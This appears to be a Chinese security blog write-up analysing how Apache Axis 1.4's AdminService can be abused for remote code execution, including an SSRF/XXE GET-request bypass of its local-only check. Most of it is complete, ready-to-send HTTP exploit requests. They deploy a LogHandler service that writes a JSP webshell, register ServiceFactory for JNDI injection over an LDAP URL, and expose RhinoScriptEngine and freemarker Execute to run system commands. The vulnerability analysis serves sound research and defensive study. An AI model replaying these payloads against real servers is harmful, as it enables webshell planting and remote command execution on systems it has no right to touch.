最近出现了很多xxe打本地axis服务的利用方式,这里就分析一下axis1.4漏洞起因以及利用技巧
环境搭建 安装教程:intellij idea 下用java Apache axis 创建WebService 服务端 过程
这里我的环境版本如下:
1 2 3 jdk1.7.0_80 Tomcat-6.0.28 Apache Axis1.4
使用idea进行搭建,选择Java EE->Web应用程序->Web服务
然后打开项目结构,发现Problems有错误,点击Fix选择Add就行了,即需要将库添加到工件当中
由于idea会自动帮我们生成好server-config.wsdd配置文件和web.xml中的servlet,所以直接启动即可
axis官方文档:https://axis.apache.org/axis/java/ SOAP语法:https://www.w3school.com.cn/soap/soap_syntax.asp
enableRemoteAdmin
的值默认为false,改成true则会开启远程调用:https://axis.apache.org/axis/java/user-guide.html#Remote_Administration
漏洞分析 该漏洞主要是通过/services/AdminService
接口来新建服务导致恶意代码执行
流程解析 流程比较复杂,具体可以看 nice_0e3 师傅的文章,这里就简单看看
org.apache.axis.transport.http.AxisServlet#doPost
在POST传参的时候会调用 getSoapAction 方法
这里需要存在Header头SOAPAction
,否则直接throw af
抛出异常了
org.apache.axis.transport.http.AxisServlet#doGet
跟进 processQuery 方法
调用org.apache.axis.transport.http.QSMethodHandler#invoke
即调用 invokeEndpointFromGet 方法处理参数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 while (e.hasMoreElements()) { String param = (String)e.nextElement(); if (param.equalsIgnoreCase("method" )) { method = request.getParameter(param); } else { args = args + "<" + param + ">" + request.getParameter(param) + "</" + param + ">" ; } } if (method == null ) { response.setContentType("text/html" ); response.setStatus(400 ); writer.println("<h2>" + Messages.getMessage("error00" ) + ": " + Messages.getMessage("invokeGet00" ) + "</h2>" ); writer.println("<p>" + Messages.getMessage("noMethod01" ) + "</p>" ); } else { this .invokeEndpointFromGet(msgContext, response, writer, method, args); } } private void invokeEndpointFromGet (MessageContext msgContext, HttpServletResponse response, PrintWriter writer, String method, String args) throws AxisFault { String body = "<" + method + ">" + args + "</" + method + ">" ; String msgtxt = "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"><SOAP-ENV:Body>" + body + "</SOAP-ENV:Body>" + "</SOAP-ENV:Envelope>" ; ByteArrayInputStream istream = new ByteArrayInputStream (msgtxt.getBytes()); Message responseMsg = null ;
会在method前后加上尖括号,然后放到SOAP标签内,那么我们就需要进行闭合,使用<!-->
作为前缀,这是 XML 注释的开头, </!-->
为注释的结尾,因此,第一行被忽略,我们的payload就只会解析一次了
AdminService接口调用 看到org.apache.axis.utils.Admin#AdminService
调用this.process
方法,跟进
调用 verifyHostAllowed 方法对 ip 进行检验,需要满足 enableRemoteAdmin 为true,如果不满足那么需要 remoteIP 为127.0.0.1
或者0:0:0:0:0:0:0:1
,如果都不是则直接 throw 抛出异常
1 2 3 if (rootNS != null && rootNS.equals("http://xml.apache.org/axis/wsdd/" )) { return processWSDD(msgContext, engine, root); }
接下来进入到 processWSDD 方法
org.apache.axis.AxisEngine#saveConfiguration
,写入配置文件
org.apache.axis.configuration.FileProvider#writeEngineConfig
即会将xml数据写入到server-config.wsdd
配置文件里面,造成漏洞
漏洞利用 利用方式有以下两种:
暴露在外部的web service能直接调用造成危害,web service通常会存在较多的漏洞问题,很多时候没鉴权或者鉴权不够
利用AdminService部署恶意类service或者handler,但是AdminService只能local访问,需要配合一个SSRF
实际上大多数情况都是第二种,需要利用XXE、SSRF或者中间人攻击,通过get请求来部署恶意服务
而类作为service也是需要条件的:
需要有一个 public 的无参构造函数
只有public的方法会作为service方法,并且不包含父类的方法
官网配置文档:https://axis.apache.org/axis/java/reference.html
allowedMethods字段指定调用的方法、className字段指定实现的类名
org.apache.axis.handlers.LogHandler LogHandler:它将每次的请求和响应记录到文件中 我们可以更改默认配置文件名LogHandler.fileName
,然后通过日志文件写入webshell
POST请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 POST /axis/services/AdminService HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: text/xml; charset=utf-8 SOAPAction: "" Content-Length: 785 <soap:Envelope xmlns:soap ="http://schemas.xmlsoap.org/soap/envelope/" > <soap:Body > <deployment xmlns ="http://xml.apache.org/axis/wsdd/" xmlns:java ="http://xml.apache.org/axis/wsdd/providers/java" > <service name ="randomAAA" provider ="java:RPC" > <requestFlow > <handler type ="java:org.apache.axis.handlers.LogHandler" > <parameter name ="LogHandler.fileName" value ="../webapps/ROOT/shell.jsp" /> <parameter name ="LogHandler.writeToConsole" value ="false" /> </handler > </requestFlow > <parameter name ="className" value ="java.util.Random" /> <parameter name ="allowedMethods" value ="*" /> </service > </deployment > </soap:Body > </soap:Envelope >
GET请求:
1 2 GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22randomBBB%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22..%2Fwebapps%2FROOT%2Fshell.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1 Host: 127.0.0.1:8080
通过get或post请求部署完成后,可以看到配置文件已经被改变了
第二步访问刚才部署的service,请求内容包含webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST /axis/services/randomBBB HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: text/xml; charset=utf-8 SOAPAction: "" Content-Length: 700 <soapenv:Envelope xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd ="http://www.w3.org/2001/XMLSchema" xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util ="http://util.java" > <soapenv:Header /> <soapenv:Body > <util:ints soapenv:encodingStyle ="http://schemas.xmlsoap.org/soap/encoding/" > <in0 xsi:type ="xsd:int" xs:type ="type:int" xmlns:xs ="http://www.w3.org/2000/XMLSchema-instance" > <![CDATA[ <% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); %> ]]></in0 > <in1 xsi:type ="xsd:int" xs:type ="type:int" xmlns:xs ="http://www.w3.org/2000/XMLSchema-instance" > ?</in1 > </util:ints > </soapenv:Body > </soapenv:Envelope >
成功写入../webapps/ROOT/shell.jsp
缺陷:只有写入jsp文件时,并且目标服务器解析jsp文件时才有用,例如不让解析jsp但是解析jspx文件时,因为log中有其他垃圾信息,jspx会解析错误,所以写入jspx也是没用的
org.apache.axis.client.ServiceFactory 很明显的JNDI注入
POST请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST /axis/services/AdminService HTTP/1.1 Host: 127.0.0.1:8080 SOAPAction: "" Content-Type: application/xml; charset=utf-8 Content-Length: 755 <?xml version="1.0" encoding="utf-8" ?> <soapenv:Envelope xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:api ="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd ="http://www.w3.org/2001/XMLSchema" > <soapenv:Body > <ns1:deployment xmlns:ns1 ="http://xml.apache.org/axis/wsdd/" xmlns ="http://xml.apache.org/axis/wsdd/" xmlns:java ="http://xml.apache.org/axis/wsdd/providers/java" > <ns1:service name ="ServiceFactoryService" provider ="java:RPC" > <ns1:parameter name ="className" value ="org.apache.axis.client.ServiceFactory" /> <ns1:parameter name ="allowedMethods" value ="*" /> </ns1:service > </ns1:deployment > </soapenv:Body > </soapenv:Envelope >
GET请求:
1 2 GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22ServiceFactoryService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22org.apache.axis.client.ServiceFactory%22%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1 Host: 127.0.0.1:8080
通过get或post请求部署完成后,访问刚才部署的service并调用它的getService方法,传入jndi链接即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /axis/services/ServiceFactoryService HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: text/xml; charset=utf-8 SOAPAction: "" Content-Length: 759 <soapenv:Envelope xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd ="http://www.w3.org/2001/XMLSchema" xmlns:buil ="http://build.antlr" > <soapenv:Header /> <soapenv:Body > <buil:getService soapenv:encodingStyle ="http://schemas.xmlsoap.org/soap/encoding/" > <environment xmlns:apachesoap ="http://xml.apache.org/xml-soap" xmlns:soapenc ="http://schemas.xmlsoap.org/soap/encoding/" xsi:type ="apachesoap:Map" > <item > <key xsi:type ="soapenc:string" > jndiName</key > <value xsi:type ="soapenc:string" > ldap://127.0.0.1:1389/Basic/Command/calc</value > </item > </environment > </buil:getService > </soapenv:Body > </soapenv:Envelope >
缺陷:如果设置了不允许远程加载JNDI Factory,就不能用了
JDK<=7才存在的类,用来解析javascript
POST请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 POST /axis/services/AdminService HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: text/xml; charset=utf-8 SOAPAction: "" Content-Length: 917 <soap:Envelope xmlns:soap ="http://schemas.xmlsoap.org/soap/envelope/" > <soap:Body > <deployment xmlns ="http://xml.apache.org/axis/wsdd/" xmlns:java ="http://xml.apache.org/axis/wsdd/providers/java" > <service name ="RhinoScriptEngineService" provider ="java:RPC" > <parameter name ="className" value ="com.sun.script.javascript.RhinoScriptEngine" /> <parameter name ="allowedMethods" value ="eval" /> <typeMapping deserializer ="org.apache.axis.encoding.ser.BeanDeserializerFactory" type ="java:javax.script.SimpleScriptContext" qname ="ns:SimpleScriptContext" serializer ="org.apache.axis.encoding.ser.BeanSerializerFactory" xmlns:ns ="urn:beanservice" regenerateElement ="false" > </typeMapping > </service > </deployment > </soap:Body > </soap:Envelope >
GET请求:
1 2 GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22RhinoScriptEngineService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22com.sun.script.javascript.RhinoScriptEngine%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22eval%22%20%2F%3E%3CtypeMapping%20deserializer%3D%22org.apache.axis.encoding.ser.BeanDeserializerFactory%22%20type%3D%22java%3Ajavax.script.SimpleScriptContext%22%20qname%3D%22ns%3ASimpleScriptContext%22%20serializer%3D%22org.apache.axis.encoding.ser.BeanSerializerFactory%22%20xmlns%3Ans%3D%22urn%3Abeanservice%22%20regenerateElement%3D%22false%22%3E%3C%2FtypeMapping%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1 Host: 127.0.0.1:8080
通过get或post请求部署完成后,访问刚才部署的service并调用它的eval方法,还可以回显:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST /axis/services/RhinoScriptEngineService HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: text/xml; charset=utf-8 SOAPAction: "" Content-Length: 702 <soapenv:Envelope xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd ="http://www.w3.org/2001/XMLSchema" xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jav ="http://javascript.script.sun.com" > <soapenv:Body > <eval xmlns ="http://127.0.0.1:8080/services/scriptEngine" > <arg0 xmlns ="" > <![CDATA[function test(){var pb = new java.lang.ProcessBuilder('cmd.exe','/c','whoami');var process = pb.start();var ret = new java.util.Scanner(process.getInputStream()).useDelimiter('\\A').next();return ret;}test();]]> </arg0 > <arg1 xmlns ="" xsi:type ="urn:SimpleScriptContext" xmlns:urn ="urn:beanservice" > </arg1 > </eval > </soapenv:Body > </soapenv:Envelope >
缺陷: jdk7及之前的版本可以用,之后的版本就不是这个ScriptEngine类了,取代他的是NashornScriptEngine,但是这个NashornScriptEngine不能利用
freemarker.template.utility.Execute 需要添加依赖,下载:https://www.apache.org/dyn/closer.cgi/freemarker/engine/2.3.32/binaries/apache-freemarker-2.3.32-bin.tar.gz ,导入freemarker-2.3.32.jar
看到exec方法,很明显的命令执行
POST请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST /services/AdminService HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: text/xml; charset=utf-8 SOAPAction: "" Content-Length: 627 <?xml version="1.0" encoding="UTF-8" ?> <soapenv:Envelope xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd ="http://www.w3.org/2001/XMLSchema" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" > <soapenv:Body > <deployment xmlns ="http://xml.apache.org/axis/wsdd/" xmlns:java ="http://xml.apache.org/axis/wsdd/providers/java" > <service name ="freemarkerTest" provider ="java:RPC" > <parameter name ="className" value ="freemarker.template.utility.Execute" /> <parameter name ="allowedMethods" value ="*" /> </service > </deployment > </soapenv:Body > </soapenv:Envelope >
GET请求:
1 2 GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22freemarkerTest%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22freemarker.template.utility.Execute%22%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1 Host: 127.0.0.1:8080
调用service命令执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /axis/services/freemarkerTest HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: text/xml; charset=utf-8 SOAPAction: "" Content-Length: 587 <soapenv:Envelope xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd ="http://www.w3.org/2001/XMLSchema" xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util ="http://utility.template.freemarker" xmlns:soapenc ="http://schemas.xmlsoap.org/soap/encoding/" > <soapenv:Header /> <soapenv:Body > <util:exec soapenv:encodingStyle ="http://schemas.xmlsoap.org/soap/encoding/" > <arguments > <string xsi:type ="soapenc:string" > cmd.exe /c whoami</string > </arguments > </util:exec > </soapenv:Body > </soapenv:Envelope >
参考:Oracle PeopleSoft Remote Code Execution: Blind XXE to SYSTEM Shell Apache Axis1(<=1.4版本) RCE Apache Axis1 与 Axis2 WebService 的漏洞利用总结 axis 1.4 AdminService未授权访问 jndi注入利用 Java安全之Axis漏洞分析